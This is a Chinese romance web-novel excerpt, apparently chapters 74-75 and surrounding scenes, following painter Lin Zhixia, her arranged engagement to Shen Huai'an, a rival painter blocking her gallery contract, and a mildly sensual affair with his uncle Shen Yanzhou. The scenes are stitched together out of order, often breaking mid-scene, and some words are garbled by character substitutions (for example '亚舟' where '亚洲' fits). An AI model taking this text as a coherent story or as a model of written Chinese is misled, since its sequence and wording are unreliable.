陌生房间没有开灯,一片昏暗中,唯一的光源便是窗外银白朦胧的月光。 男人骨架宽大挺拔,投下的阴影将她整个人都覆盖其中,带来一种身形上的压迫感。 昏暗的光线弱化了她的视觉,却让她的嗅觉越发灵敏。 她砚到来自男人身上,那清淡温雅的木质香,混了点龙井茶的味道。 带着温柔的强势,无孔不入地入侵她的感官。 林知夏后背绷紧,呼吸颤栗。她下意识地往后退,想要拉远与男人之间的距离。 但她后背紧紧贴合着墙面,她又能往退到哪里? “你你你你……”林知夏呼吸急促,心脏跳得极快。 隔壁就是沈爷爷的书房,他究竟想要做什么!!! 男人抬手,修长冷白指尖抵在她的唇角,语调低沉,缓缓拂过她的耳廓:“知夏,现在见了我,不喊人了?” 他似笑非笑道,在念到“知夏”二字时,语气加重,带着莫名的意味。 听到她的名字被他缓缓念出口,林知夏抿了抿唇,眸光微闪,有些心虚。 但很快,她便缓过劲来。 毕竟圣让卡普费拉那晚的人是林夏,不是林知夏。 她林知夏在此之前,才不认识什么沈砚舟呢! 在做好心理建设后,她深吸一口气,抬起头,直视他:“……三、三叔,您、您这是在做什么?” 她小心翼翼地用气音问道,做足恭敬乖巧的晚辈姿态。 只是刻意压低的声线,却将她的心虚暴露无遗。 听着“三叔”这个称呼,男人的眉心跳了跳,幽沉的目光无声地笼罩在她身上。 “三叔?”男人薄唇掠起极淡的弧度,带了点冷意。 他居高临下地俯视着她,目光迫人:“我记得你之前可不是这样叫我的。” 旁侧的人相互对视了一眼,她们不是不知道老爷子喜欢林知夏,但没想到居然这么看重她。 坐在祁琳身边的阔太对林知夏道:“我听说夏夏之前是在法国学油画的吗?回国后想做什么?” 林知夏乖巧道:“办画展。” “这样也好,趁着结婚前多办几场画展,以后嫁给淮安了,就得把画画稍微放下,当个兴趣爱好,专心在家相夫教子。”祁琳笑得温柔。 林知夏面上维持着得体笑容,心里骂骂咧咧。 她心中更加坚定信念,坚决不能和沈淮安结婚。 不然婆媳之间肯定要有一个人发疯。 听祁琳提起林知夏在法国留学,沈老爷子想到什么,开口:“夏夏,一个人在国外生活得不习惯吧。之前砚舟也在法国待过,早知道应该让他照顾你的。” 听沈老爷子将话题落在自己和沈砚舟身上,林知夏直起脊背,心跳都停了半拍。 她紧张兮兮地吃着好吃的餐点,装缩头鹌鹑,“真是可惜,没能见过三叔一面。” 少女一口一个三叔,听得沈砚舟眉心跳了跳。 他的目光落在一旁埋头苦吃的少女,长指漫不经心地将银质打火机放在手旁,唇角扯出不甚明显的弧度,“确实是碰面得太晚,有些可惜。” 林知夏垂眸,没有做声,只是纤细的手指悄然揪紧。 饭桌上祁琳笑着对沈老爷子说:“这点爸你放心,以后有淮安可以照顾夏夏,淮安这么贴心的人,以后结了婚肯定会疼爱夏夏的。” “啪——”林知夏回家时已经快要将近十一点,但是此刻林家老宅依旧还是灯火通明。 林老爷子没睡,拄着拐杖,守在客厅里等林知夏回来。 见外孙女回来,林老爷子紧绷着的表情这才放松。 他神情复杂,连声催促林知夏赶快回房睡觉。 夏天的夜晚燥热极了,闷得燥得连丝风都透不进来。 在护肤之后,林知夏躺在床上,紧紧闭着眼。 月光如潮水般涌入房间,照亮熟睡的人…… 一切都静悄悄地。 半个小时后,林知夏睁开眼,崩溃地用被子将脑袋蒙起来。 她现在像是饮下了一杯后劲绵长的酒,现在后劲上来,浑身血液上涌,胸腔内的心跳一直“扑通扑通”地乱跳不停 啊啊啊啊啊啊! 她怎么能当着沈砚舟的面真的说出画人体这种话!太过冒犯了! 不过,若是真的约他画模特,她能不能暗箱操作一下,给他摆一些更有张力的姿势呢 反正……她也是为了艺术。 林知夏埋在被子里的小脸红红的,一时间不知道对于沈砚舟给她当模特这件事,她是更抗拒一些,还是更期待一些。 清脆的响动,瞬间吸引了所有人的注意。翌日清晨,林知夏打着呵欠下楼。 本来还有些提心吊胆,以为要再和沈砚舟碰面,没想到对方早早便去了公司。 在吃过早餐后,林知夏被沈淮安送回林家老宅,这次沈淮安没有立刻就走,而是跟着林知夏一起进入老宅。 俩人一进门,就看到一大早坐在客厅里守株待“夏”的林老爷子。在简单地聊了几句之后,沈淮安便因为工作上的事情离开。 沈淮安走后,林老爷子笑眯眯地问林知夏:“夏夏怎么看着没精神,昨晚没睡好?” “确实没睡好。”林知夏瘪嘴,想起沈砚舟那个混蛋,心中愤愤:“中午补一觉就好了。” “对了,刚才我还和你沈叔叔通过电话了。你送的画他很喜欢,希望下次还能收到更合心意的礼物。对了你送了什么画给他?” 林知夏:“《招财进宝图》。” 林老爷子笑呵呵:“寓意好啊,寓意好啊。怪不得你三叔喜欢。多和你三叔搞好关系,以后你嫁到沈家他也好照顾你。” 林知夏拿樱桃吃的动作僵了下。 她才不需要这种照顾呢! 林老爷子没有察觉到她的异样,继续询问:“你和淮安相处得怎么样?” 林知夏没有隐瞒:“外公,我对他没感觉。” 有一瞬,林知夏是想要随便胡扯一个“自己已有心上人”的借口,挡住外公想让自己结婚的心思。 只不过这一念头刚出,脑海中不知为何就出现了那道矜贵端方的身影。 林知夏眼神飘移,不知为何心底有些心虚。 到嘴边的话语打了个转,最终还是没有说出口。 算了吧,万一到最后扯出她和沈砚舟的事情刺激到外公怎么办? 毕竟露水情缘这种事在老一辈的传统思想里是绝对不可以的。 林老爷子见她支支吾吾不说话,再次试探:“真没感觉?” 林知夏乖巧点头。 她抱住外公,脑袋在外公怀里拱来拱去,像小孩子一样撒娇卖乖:“外公,我不想结婚,我只想永远陪着您。” 林老爷子沉默片刻:“那外公将来要是走了呢?谁来护着你?” 林知夏微怔,心脏难受酸胀,她一字一顿、认认真真道:“您得长命百岁,您得一直陪着我,您不会走的……” 林老爷子叹了口气,揉了揉傻外孙女的脑袋:“傻孩子,人总有走的那一天。但外公希望能在走之前,能亲手将你交给值得托付终身的人。这样,外公也能安心阖眼了。” 他要是走了,偌大的林家必然是要留给外孙女的。 外孙女一门心思扑在艺术油画上,志不在商。因此林老爷子也没想过要让林知夏担当什么大任,只想要她做个挂名董事,快乐顺遂地过完这一生就好。 但“一生顺遂”可不是说说那么简单的。 更别提他走后,那么一大笔财富捏在他外孙女手里,怎么会不招人觊觎? 他没多少日子可活了。 所以他想在他走前,把路给外孙女铺平了。 思来想去,在他走后,也只有和他有着过命交情的沈家能护得住他家的丫头。 可话虽这么说,回房间后,林老爷子还是沉默地卷起旱烟。 这是他年轻下乡时留下的习惯,后来无论大富大贵,只要一遇到烦心事,总想要抽一支。 心里越是想着事,林老爷子眉头便皱得更深。 若是外孙女实在和沈淮安没有缘分,他也不能强求。 他还是希望外孙女能够开开心心的。 “怎么了?”沈老爷子问。 林知夏讪讪回答:“不小心把打火机碰掉了……” 准确地说,是她碰掉了沈砚舟的打火机。 她悄悄去看身侧之人。 他正面无表情地喝着茶,没有任何动作。 犹豫了两秒,林知夏终是弯下腰,去捡掉落在脚边的银色小方块。 餐桌之下,纤细脆弱的脚踝、尖尖的羊皮小高跟紧靠着笔挺西裤、锃亮昂贵的黑色手工皮鞋,带起一种难言的暧昧。 就当林知夏的手指够到那银质打火机时,修长瘦劲的指尖也在同一时刻落在打火机上。 纤细指尖对着修长的指尖,近在咫尺,只差微毫,便可相触交叠。 狭小的空间,顿时燥热起来。 男人的手极为好看,带着冷玉般的白。指节修长匀称,手背骨骼线条明显,凸起的青筋昭示着属于成年男性的魅力,带着一种禁欲的性感。 林知夏忍不住吞咽了下,抬起头,对上沈砚舟的视线,呼吸一滞。 他俯身,西装布料在腰间只是浅浅地堆叠着。 那镜片背后的深眸中,所含着的情绪终是不再温淡含蓄,而是如密网般的幽邃深沉,紧紧攫住了她的心脏。 第 74 章 第七十四章 由于晚上没睡好,第二天林知夏整个人都蔫蔫的。 收拾打扮好后,她打着呵欠下楼,小脸瓷白,眼睛里还带着水色。 刚走下旋转楼梯,林知夏就看到客厅内的景象。 她家老爷子面无表情地坐在沙发上,对面则是坐着一脸殷切笑意的郑董。 见林知夏下楼,老爷子肃穆的脸上这才绽出一丝笑。 郑董脸上露出讨好的笑:“林小姐,你还记得我吗” 见到他,林知夏下意识地蹙起眉,还没等她开口,郑董连忙道:“不记得也不要紧,我叫郑茂,是郑驰的父亲,今天专门上门来给你和林老赔礼道歉来的。” “您有什么事” 他将桌上的礼盒往林知夏的面前推了推,痛心疾首道:“是我教子无方,让那混账冒犯了林小姐,我替他向你和林老赔不是。” 林知夏还没说话,就见林老爷子摆摆手,声音苍凉:“郑董场面话就不必再说了,郑董的道歉我实在是不敢当,老爷子我年纪大了,也没人把我当回事了,连林家的外孙女在外都得被人欺负。” 郑董擦着脑门上的冷汗,低眉顺目:“林老您说得哪里的话,您德高望重,我们这些小辈敬着您还来不及,哪敢轻视您呢。我要是敢轻视您,沈三爷头一个得收拾我。” 听郑董谈及沈砚舟,林知夏心下了然。 估计郑董今日这般低三下四地道歉,倒不是担心林家诘责,而是害怕沈砚舟这座大山怪罪。 昨日回家后,林知夏也蒋芙聊过。 这才知郑驰的父亲郑董也算是房地产业中也是响当当的大人物。而郑驰则是郑董最宠爱的私生子。 也难怪昨晚郑驰那般嚣张,即使她搬出林家,对方也没看在眼中。 只不过没想到郑董这样地位的人物,面对沈砚舟也不得不服帖恭敬。 林知夏感叹之余,愈发切实地感到沈砚舟的权势之盛。 见林知夏没表态,郑董继续道:“这事确实是犬子的不是,您放心,他以后看到林小姐绝对恭恭敬敬的,一点也不敢造次。” 林老爷子冷哼一声,开口:“但愿如此。” 见林知夏和林老爷子要吃早餐,郑董便不多做打扰,留下礼物便走了。 吃过早餐后,林老爷子看向打扮得漂漂亮亮的外孙女,板着的脸上露出笑:“夏夏今天是要出门去签合同吗外公让司机送你。” 这回林老爷子没有再提沈淮安。 林知夏眉眼弯弯:“不用了,今天蒋芙送我过去,签完合同之后我们还要去兜风呢。” 在昨晚和蒋芙聊完天后,蒋大小姐心有余悸,觉得林知夏这个乖软宝宝太容易受欺负,非要今日陪着她一起去签合同。 为了给林知夏增长气势,她还特地开了一辆名为“小红”的嚣张超跑。 路上蒋芙和林知夏聊着天。 在听到沈砚舟要让林知夏给他画肖像时,蒋芙笑得前仰后合,得出结论:“那老男人他不安好心。他知道你想要什么,就是在勾引你,故意给你下套!” 听蒋芙这般说,林知夏藏在长发下的耳尖红红的。 “不过我这次可要说道说道你了。作为你的好闺蜜,你可从来没给我画过一张肖像画吧”蒋芙佯装生气:“呸,渣夏。” 林知夏自知有些心虚,连忙跟蒋芙撒娇,语气软乎乎地哄她:“不要生气了宝,等我画完沈砚舟,我一定第一时间给你画!” “哟,”蒋芙故意逗她:“我还得排在沈砚舟后面呢。” 林知夏:“要不我先给你画” 蒋芙想了想,连连摇头:“算了吧,我还想好好活着,不敢截沈三爷的胡。” 正说着,林知夏的手机铃声适时响起,来电者是里森画廊的经理徐境意。 林知夏心情极好地按下接听键,“喂,徐经理,我这边快要到了。” 她说着,看了一眼车外的建筑标识。 这时候蒋芙的车已经快要开到里森画廊门口,林知夏心里估算了下,大概三分钟后就到了。 “很抱歉林小姐,浪费您的时间了。您的作品真的很有个人风格和灵气,我们里森画廊也很欣赏您。” 电话那边徐经理的声音稍有些失真,林知夏表情微顿,下一秒,心中不好的预感终于落实。 “只是您的作品创作方向可能和里森画廊的定位和市场趋势不是很匹配,如果有机会,还是希望能与您合作。” 林知夏蹙着眉,冷下声音:“徐经理,为了这份合同,我与里森画廊前前后后谈了一个多月。若是里森画廊这边早说我的创作方向和画廊定位不匹配,那便算了。可偏偏在今天要签合同的时候,画廊才告知我这件事。” 面对林知夏的质问,徐经理支支吾吾说不出理由,突然电话那边隐隐传来了一道熟悉的女声—— “徐经理,你在这里做什么” 林知夏瞳眸瞬间冷了下来。 她大概知道徐境意为什么要拒绝自己了。 徐境意的声音瞬间殷切:“没什么……谢小姐,您现在是要走了吗” “嗯,合同签完了,辛苦徐经理了。” “不辛苦不辛苦,我送您。” 似是迫不及待地想要送谢迢迢离开,徐境意在电话里对着林知夏低声道:“林小姐,我这边还有些事,先挂了,有机会再合作。” 说完,徐境意匆匆挂断了电话。 在一旁听了全程的蒋芙更是一脚踩在油门上:“她这是什么意思!故意耍着你玩吗走,夏夏我们去找她问清楚。” 蒋芙将车开得飞快,原本这边离着里森画廊还有段距离。现在没到一分钟,红色超跑便稳稳停在目的地门口。 两人刚下车,就看到画廊经理徐境意恭维着谢迢迢走出画廊大门。 “真是晦气,怎么在哪里都能看到傻逼,”蒋芙愣了下,随后反应过来,脸彻底黑了:“不会就是她半路跳出来教唆画廊不和你合作的吧” 谢迢迢和林知夏一样,也是一名油画艺术家,在国内还挺出名。 只不过这名气的含金量有多少,那可就说不定了。 当初谢迢迢看林知夏学油画去巴黎美院,要死要活地也要去,非要事事踩林知夏一脚。 最后结果大快人心,谢迢迢最终没去成,而林知夏则是去了母亲曾经呆过的学校。 但在林知夏出国这几年,谢迢迢仗着自己背后有谢家撑腰,在国内艺术圈可谓是兴风作浪。 也不知谢卫东是怎么想的,非要砸钱给资源把她捧得高高的,甚至还不要脸到把谢迢迢带到林知夏母亲的启蒙老师许知秋许老面前,让许老收她为徒。 回忆起这一桩桩一件件的奇葩事,蒋芙更加确定林知夏被画廊拒绝合同这件事是谢迢迢借用谢家权势从中作梗。 而那边谢迢迢在和徐境意道别后,正准备上车,余光却瞥见不远处的林知夏和蒋芙。 谢迢迢挑挑眉,指尖拂过脖颈上戴着的红宝石项链,越发神清气爽。 “姐姐,这么巧啊,你也是来这里签合同的”谢迢迢扬起温柔友好的笑容朝着林知夏走来:“不过你这次算是白来一趟了,我刚刚听说徐经理好像并不是很想和你谈合作呢。” 林知夏表情淡淡:“徐境意为什么会拒绝我,我想你心知肚明。” 谢迢迢表情惊讶,但唇角却带着怎么也压不下的得意。 她的声音越发柔和:“姐姐你这话是什么意思,被画廊拒绝了的人是你不是我。你自己实力不济,比不过我,也不能冲着我来吧” 谢迢迢这番话,听得蒋芙心头火直冒:“某些人可别得了便宜还卖乖。迄今为止你拍卖出的全部油画价值加在一起也抵不过知夏在巴黎卖出的一幅画吧究竟是谁耍手段,谁实力不济,谁自己清楚。” 谢迢迢脸色难看起来,气得胸口起伏不定。 毕竟蒋家的大小姐在上层豪门圈子里可是出了名脾气火爆,不好招惹。 谢迢迢不太敢对上蒋芙,只好再次将矛头对准林知夏。 她这些年,除了在爸爸对她的爱上能稳压林知夏一头,其余时间都被林知夏狠狠压着。 “姐姐你闺蜜骂我,你就这样看着再怎么不对付,我们好歹还是一家人吧”谢迢迢温温柔柔道:“你就不怕姐夫知道你这种态度厌恶了你” 林知夏微微蹙眉:“我和沈淮安之间还轮不到你插嘴。” “我也是一番好心,”谢迢迢脸上流露出微妙的笑容:“听说姐夫似乎并没有呆在公司,而是在陪别的女人,或许姐姐你该反思一下你自己了。” 这般阴阳怪气一出,蒋芙刚想破口大骂,但手却被林知夏拉住。 林知夏上前一步挡在蒋芙面前,若有所思地看向谢迢迢:“你哪里得知,沈淮安昨晚没有呆在公司沈淮安跟你说的吗” 沈淮安昨晚给她的借口是公司加班忙。 但如果沈淮安昨晚真的在陪别的女人,那谢迢迢是如何得知沈淮安给她的这个借口的 谢迢迢面色僵硬:“我也是听说的。” 她摩挲了下着胸前那枚红宝石项链,转移话题:“毕竟林外公他老人家给姐姐求来这门婚事也不容易,姐姐还是想想该怎样才能挽回姐夫吧,可别到最后让林外公白白伤心。” 说完,她朝着林知夏笑了笑,急匆匆地离开了。 直至谢迢迢走后,蒋芙生气:“你刚才为什么拦着我” 林知夏纤长睫毛垂下:“我有种直觉,谢迢迢对沈淮安的态度好像有点不正常。” 蒋芙睁大眼睛:“你是说……” 林知夏重重点了点头:“相信艺术家的直觉。她在提到沈淮安的时候,下意识不敢直视我,而且每一次提到沈淮安,她都会下意识地去触碰那串项链,摆明了心里有鬼。” “好吧,我相信艺术家的直觉。”蒋芙耸肩:“对于昨晚那场拍卖会我也有耳砚,我帮你打听打听,我就不信谢迢迢能瞒得这么紧。” “谢谢宝,”林知夏抱住蒋芙的胳膊:“走吧,我们去兜风吧,不要让一时的不快坏了一整天的好心情。” “那倒也是。”南法的夏沈向来燥热得很。 这几日圣让卡普费的阳光格外明媚灼热,落下光影打在斑驳的橘黄色石墙上,让这座滨海小镇带着油画般浓艳的色彩。 林知夏在路上漫无目的地走走停停,时不时地拿起相机拍照。 羊皮小高跟踩在鹅卵石地面上,发出“哒哒”的清脆声响。 在这里逛了几天,林知夏都没有什么创作灵感。 见逛到“LUNA”咖啡馆附近,她便朝着咖啡馆的方向走去,打算在那里歇脚,却在咖啡馆门口发现了她终日寻而不得的美景。 咖啡馆外咖啡馆外种着一棵葡萄树,树枝上摇晃着错落的枝叶以及隐藏在肥厚掌型叶间的小白花。 而在枝叶层叠的葡萄树后面,透过落地窗玻璃,林知夏看到一个俊美的亚舟男人正倚靠在座椅上。 他正侧对她,西装一丝不苟、裁剪得当,勾勒着他宽肩窄腰的完美身形。 从她的角度看,只能看到他挺立的侧脸轮廓,高挺鼻梁,淡色的薄唇,还有……露出的那一段脖颈线条,凸起的喉结锋锐饱满,分外具有诱惑力。 一瞬间的灵感悄然被激发,在林知夏近乎枯竭的想象力上落下浓墨重彩的一笔。 林知夏的身体先一步作出反应,她举起相机对准男人,按下了快门。 但就在这一刻,男人似有所察,偏头朝这边看过来。 隔着镜头,她与男人的视线交错。 一瞬间,林知夏的心脏狠狠地跳动了下。 她终于看到了男人的正脸。 是极为儒雅斯文的亚舟面孔,面部线条优越,眉眼深隽,鼻梁上架着的细金边眼镜显得他更加地矜雅斯文。 林知夏心脏突颤,慌忙移开相机,装作拍景的样子,相机下的脸又红又烫。 但幸好,男人的视线只在她身上稍作停留,很快便移开了。 林知夏松了一口气,一边在心底唾弃自己的行为太过怂包,一边低头翻看着拍出来的照片。 但不知为何,林知夏总感觉照片还是难以还原男人身上的那种性/张力。 他真的好完美,如果能将他画下来就好了。 沉思片刻,林知夏深吸一口气,抬步朝着咖啡馆走去。 她推开玻璃门,走进咖啡馆。 咖啡店里冷冷清清的,那位先生是仅有的客人。 林知夏朝着男人的位置走去。 男人面庞近看更是令人惊艳,周身流淌着一种成熟内敛的魅力。 她大着胆子,走到男人面前,微微弯下腰,“先生,打扰一下。” 男人掀起眼帘,看向林知夏。 目光极淡,却带着与生俱来的压迫感。 林知夏呼吸一滞。 她忍着怂,面上挤出一抹淡定的笑,用法语交流道:“您好先生,我是一个正在寻找灵感的画家,可以给您画一张画?” 她说着,从包里翻出速写本,递给到男人面前: “这些都是我画的,您可以看看不会将您画丑的。” 她紧张不安地绞着手指:“当然画完之后我也会付给您一笔酬劳,作为感谢。您看可以吗?” 男人轻挑了下眉,似是来了点兴趣:“你打算给多少?” 他的声音很沉很有辨识度,法语流畅而慵懒,带着一股吸引力。 林知夏微微睁大眼,声音清甜:“看您想要多少,我付得起。” 话虽这么说,她掌心却沁出薄薄的潮意。 她曾在巴黎美院画过很多好看的男模特,但论起皮囊,从未有人能超过眼前这个男人。 更遑论男人周身所具有的气度,是那些模特无论如何也模仿不出来的。 她不愿放弃眼前这个完美模特。 她留学生期间光是卖画就足以让她成为一个小富婆。 但看男人的气质和品位,显然是不是一般人。 她只怕男人看不上她给出的钱。 男人低头,不紧不慢地翻看着画册。 林知夏的心脏也提到嗓子眼。 半晌,男人将画册合上,交还给女孩。 他淡淡地笑了下:“画得很好,不用付钱,我愿意做你的模特。” 他笑起来的样子很好看,看得林知夏心跳莫名地错漏了几拍。 “谢谢……” “你需要我怎么做些什么?”男人问她。 林知夏冲他甜甜地笑了下:“您随意就好。” 她在男人附近的位置落座,摸出画笔。 画到一半的时候,男人的手机响了。 “我接下电话。”男人说。 林知夏轻轻点了下头。 男人接通电话,同电话那端的人用字正腔圆的普通话交流。 林知夏睫毛轻轻颤了下。 她的视线划过男人露出的腕骨,以及腕骨处戴着的极为低调的黑盘腕表,忍不住想—— 他应该和她一样,也是来这里旅游的华人。 听他的口音语流音变,带了点儿化音,应该是京北那片的吧? 正在心中猜测着,就听男人慢条斯理地笑着:“方案完成度太低,各项考虑都达不到我所要的标准。” 他说这话的时候语气依旧温醇,却给人一种独属于上位者的压迫感。 林知夏下意识地放缓呼吸,连带着落笔的力度也变得轻了起来。 阳光穿过透明的落地窗玻璃,落在咖啡馆内的木地板上。 淡金色的光线下,女孩满是胶原蛋白的巴掌小脸上,带着淡淡的毛绒光晕。 她穿着波西米亚风的碎花裙,斜侧并拢着的小腿雪白而纤细。此时她正抿着唇,垂着细颈作画,姿态很是乖巧安静。 一缕俏皮的黑发悄无声息地落在女孩挺翘小巧的鼻尖上,女孩微微蹙眉,抬手将那黑发拂去。 男人的视线在女孩脸上擦过,而后不着痕迹地收回。 “把这些问题都解决了,再来找我谈方案。” 他结束通话的那一刻,林知夏也落下最后一笔。 咖啡馆里静悄悄地。 林知夏抬眼看向男人,却正对上对方平淡的视线。 目光交错的瞬间,林知夏站起身来,走到男人面前,将画本递给他:“先生,我画好了。” 这次她没有用法语,而是用中文与他交谈。 男人接过林知夏递来的本子,垂眸。 虽然林知夏对于自己的画很有信心,但毕竟想起刚才男人那迫人的气势,心中不免有些紧张。 “很好看,”男人将画本交还给她:“我有帮到你吗?” 林知夏反应半晌才意识到对方是在说寻找灵感的事情,忙不迭点头,笑容真诚,“帮到了。” 男人薄唇牵起一抹淡淡弧度。 他笑起来可真好看。 林知夏看愣了下,心脏“噗通噗通”地加快跳动。 她怀着不知名的小心思,轻声道:“不如交换个联系方式吧。我稍后把画发给您看。” 说完这句话后,她垂下眼睫,指尖轻轻地摩擦着纹理粗糙的纸面,试图用这种方式缓解紧张的情绪。 眼前的女孩面容本就甜美,右眼睑下的红色小痣更显得她乖巧鲜活。 男人视线在那颗小痣上稍作停留,说了串号码:“我的电话。” 在得到男人电话后,林知夏便不再在这里停留。 她的胆子本就不大,刚刚能够鼓起勇气上前请男人当模特纯属冲动之举。 现在画完了,她再待在这里,总显得她有些心怀不轨似的。 反正得到了电话号码,也不愁联系不上男人。 也不知道她日后还能不能再请他当一次模特。 男人注视着少女离开咖啡馆,她的脚步欢快而轻松。 他唇角上扬。房间的光线带着暧昧的昏黄。 林知夏仰面陷入柔软的床榻上,乌发在洁白绵软的被褥上散乱。 男人压下的阴影罩着她,如囚笼般,将她困在身下。 他一呼一吸间带来的潮意,落在林知夏的颈窝,调情的吻如他本人般,斯文绅士,不紧不慢。 林知夏是第一次跟人接吻,一开始还有些紧张,到了后面,她整个人都被他亲得晕乎乎的,细白的指尖胡乱抓着他的衬衫布料,控制不住地去回应他。 明明那杯酒的度数并不猛烈,可她现在就是觉得酒意上头,后劲十足,整个人都有些口干舌燥。 沈砚舟鼻息透出一丝淡笑,他放开她的唇,匀称修长的手指慢条斯理地解扣子。 林知夏轻轻地喘息着,瓷白细腻的脸蛋上染着动人的酡红,沾染着湿意的眸子目不转睛地看着他,眼神朦胧而动人。 男人衬衣扣子随着他略显不耐的动作散开,半遮半掩间,露出紧实精悍的肌肉线条,纹理漂亮,带着力量感。 性感得要命。 他的金边框眼镜早已在刚才的亲吻中摘了下来。 没有了镜片阻挡,男人黑眸中灼人的欲便肆无忌惮地落在林知夏身上,像是要将她吞噬一般。 这一刻,她突然生出一种自己像是待宰羔羊,任他生杀予夺的错觉。 她身体忍不住颤了下,不自觉地抓住身下柔软的床单。 “害怕了?”沈砚舟声音中也带着深沉的哑。 他停下动作,浑身肌肉绷紧,似乎只要林知夏说一句“害怕”,他便立刻终止。 林知夏眨了眨眼睛,迷蒙的眸子中回复了几分清明。 她确实有些害怕。 毕竟无论是接吻,还是上床,她都是第一次。 而且还是跟才认识一天的陌生人…… 只是因为一时间荷尔蒙上头,便与男人有了露/水/情,会不会有些太疯狂太大胆了些…… 她有些退缩,却又在视线触及到男人胸前那在白色布料遮掩下那若隐若现的、隐约起伏的肌肉线条、以及男人深晦的眸色时,微愣了下。 林知夏眨了眨眼,目不转睛地盯着半遮半掩的腹部肌肉看。 完美的人体,带着极致的性张力,堪比绝佳的艺术品。 她恨不得看他继续脱,也恨不得立刻把男人这幅半遮半掩的姿态给画下来…… 酒意与荷尔蒙再次上了头。 林知夏吞咽了下口水,心头微微躁动。 一切害怕的情绪都烟消云散。 害怕? 她心想,她才不害怕,她可有胆子了。 她缓缓地抬起纤细雪白的小腿,轻轻地蹭了蹭那质地精良的西裤布料。 而后在男人越发幽深的眸光中冲他甜甜地笑着,弯起的笑弧甜美,右眼睑下的小红痣带着淡淡的诱人。 生涩地撩拨着他。 “咔哒。” 空气中带出金属按扣被解开的声音,似是失控的前兆。 男人再次俯下身,封住了她的唇。 “别后悔……” 金发碧眼的咖啡店老板从后厨走出来。 “Ethan先生,我没打扰您的艳遇吧?” 男人轻笑着摇了摇头。 蒋芙和林知夏上车,临上车前,蒋芙看了一眼里森画廊:“不过你和画廊的合作该怎么办” 里森画廊这事做得不地道,蒋芙代入了一下自己,肺都快要气炸了。 “要不这事跟你外公说说,直接出面帮你解决”蒋芙边开车边问道。 林知夏摇头:“不要,这样很容易让身份价值掩盖艺术价值,也就失去了艺术本身的意义所在。” 林知夏将座位向后调了调,倚靠着座椅:“我想签什么样的画廊没有,这家不行,就去别家。” 向她抛出橄榄枝的画廊多了去,只不过她又要再重新走一遍谈合同的流程了。 这让林知夏有些头疼。 这时候她才深深感觉到经纪人凯文的好。 只可惜凯文目前在法国处理些私事,跟林知夏请了假,一时间回不来。 还是等凯文回来之后再找画廊谈合作吧。 专业的事还得交给专业的人去办。 第 75 章 第七十五章 一天后,来自巴黎的飞机在京北国际机场降落。 坐了这么久的飞机,林知夏难免感到疲惫。 她打着呵欠,沿着VIP通道,朝着出口走去。 早有人在机场等着她了。 来接她的人身穿一身灰色西装,样貌清俊,气质温润,周身缭绕着属于世家公子的贵气。 对方率先开口,“知夏你好,我是沈淮安,是林爷爷让我来接你的。” 林知夏之前见过沈淮安几次面。 他来自京北沈家。 沈家是真正的百年权贵家族,京北金字塔顶端、不可逾越的大世家。虽然行事低调,但权势、地位、财富极盛,在京北上流圈中无人不晓。 甚至可以说,那些出身自沈家的人,哪怕是旁支一辈,那也是的高不可攀。更遑论它的直系子孙。 而沈淮安便是京北沈家的直系长孙,是她外公战友的孙子,也是沈家备受厚望的大少爷。 只不过林知夏和沈淮安只在小时候见过几面,不是很熟悉。 所以她不是很明白外公为什么不安排家里的司机来接她,反而让这位身份尊贵的大少爷来接她。 林知夏面上不失礼貌地冲他笑笑,“麻烦你了。” 她本就长得精致漂亮,笑起来时眼眸弯弯,更是清甜。 沈淮安眼中闪过一瞬的惊艳。 他接过林知夏手中的行李箱,脸上的笑容更是温润,讲话滴水不漏,“沈林两家本就是世交,我也算是你的半个哥哥,你不用对我这么客气,叫我淮安哥好了。” 林知夏跟着沈淮安到停车点。 沈淮安拉开车门,林知夏上车。 车子在路上疾行。沈淮安操控着方向盘的同时,不着痕迹地询问林知夏在国外的生活状况。 他谈吐风雅,倒也不至于让林知夏反感,只是她坐飞机的时间太长,难免有些疲倦。 见林知夏有些心不在焉,沈淮安很有眼力见地没有继续聊下去。 半个小时后,车子便稳稳地停在林公馆前。 沈淮安回头看她:“知夏,我们到了。” 他一边说着一边解着安全带,显然是要陪着林知夏一起进去。 结果安全带扣刚被解开,放置在一旁的手机便传来“叮”的一声。 沈淮安看了眼手机消息,对着林知夏笑笑,温柔的声音中带着些许歉意:“抱歉知夏,今天我还有事,就先不进去打扰林爷爷了。麻烦你代我给林爷爷问好。” “今天辛苦你跑这一趟了。”林知夏微笑回答。 在林知夏下车后,沈淮安并没有立刻离开。 他注视着林知夏的背影走进林家老宅,这才离去。 老宅的样貌和林知夏走之前的差距并不算太大,一切事物都维持着她记忆中的模样。 林知夏穿过庭前绿地与喷泉,还没到家门,就看到那身形瘦削佝偻的老人正在管家的搀扶下站在门口,迎着她回家。 见她的第一眼,老人上前一步,笑得见牙不见眼:“夏夏回来了。” 林知夏微怔,眼眶瞬间红了。 一年未曾回家,外公的模样变了许多。 记忆中精神矍铄,腰板挺直,精神气完全不输给年轻人的小老头一下子衰老了许多。现在他身形消瘦,面部浮肿,气色黯淡。 林知夏扔下行李箱大步跑上前,扑入外公怀中,眼泪止不住往下流。 “外公,我回来了。” 抱着老人瘦削的身躯,林知夏哭得上气不接下气。 她想起一天前,管家打来的电话,这才知道外公的身体状况。 癌症晚期,无力回天。但老爷子脾气倔,偏偏要瞒着她,让她在国外安心求学。 直至现在,老爷子的病情日益恶化,前不久刚做完一场大手术,遭了很大的罪,实在是瞒不住了,这才告知她。 至于瞒不住的原因,管家虽没说,但林知夏心中隐隐有所预感。 “行了行了,回家是好事,怎么哭了,这傻孩子。”老人用粗糙的手掌抹去她脸上的泪,看着外孙女布满泪花的小脸,故作严肃道:“不许哭了,再哭外公就不高兴了!” 林知夏胡乱擦去脸上的泪,声音哽咽:“我就是……太想您了。” “小姐,老爷不能在外面吹太长时间的风,有什么话,我们进门再说。”一旁搀扶着老爷子的管家道。 林知夏点点头,搀扶着外公进家门。林知夏顶着他含笑的视线,咬住了唇,面上红霞彻底铺开。 她说谎会耳朵红这件事,连她外公都不知道……这人瞎猜的吧? 但就算两人彼此间心知肚明又如何? 她装死到底,他又能拿她怎样? “我始终不明白您这话是什么意思,”林知夏面上挤出一抹乖柔的笑,“不过您是不是该让让了?虽说您是长辈,我不会怀疑您的人品,可我们还是得注意避嫌?毕竟我马上就得和您侄子结婚了。” 虽然她迟早得和沈淮安退婚,但这种时候还是先拿这个未婚夫挡一挡吧。 话音刚落,沈砚舟蓦地笑了。 他眸色愈深,周身气质陡变,带着属于上位者的强势与压迫感,危险到极致,也迷人性感到极致。 他不紧不慢地向前逼近了一步,进一步挤压林知夏的呼吸空间。 空气中的奶油、樱桃与乌木烟草的气息紧密地挤压在一起、压实。 